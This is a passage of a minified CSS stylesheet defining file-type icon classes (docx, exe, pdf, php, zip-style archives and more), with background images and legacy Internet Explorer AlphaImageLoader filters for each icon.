\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hdr{background-image:url("../../../images/file_icon/icon_file/hdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hdr.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-pot{background-image:url("../../../images/file_icon/icon_file/pot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pot.png?ver=3.30',sizingMethod='scale');}.x-potx,.x-ppam{background-image:url("../../../images/file_icon/icon_file/potx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/potx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/potx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-tga{background-image:url("../../../images/file_icon/icon_file/tga.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tga.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tga.png?ver=3.30',sizingMethod='scale');}.x-tgz{background-image:url("../../../images/file_icon/icon_file/tgz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tgz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tgz.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none 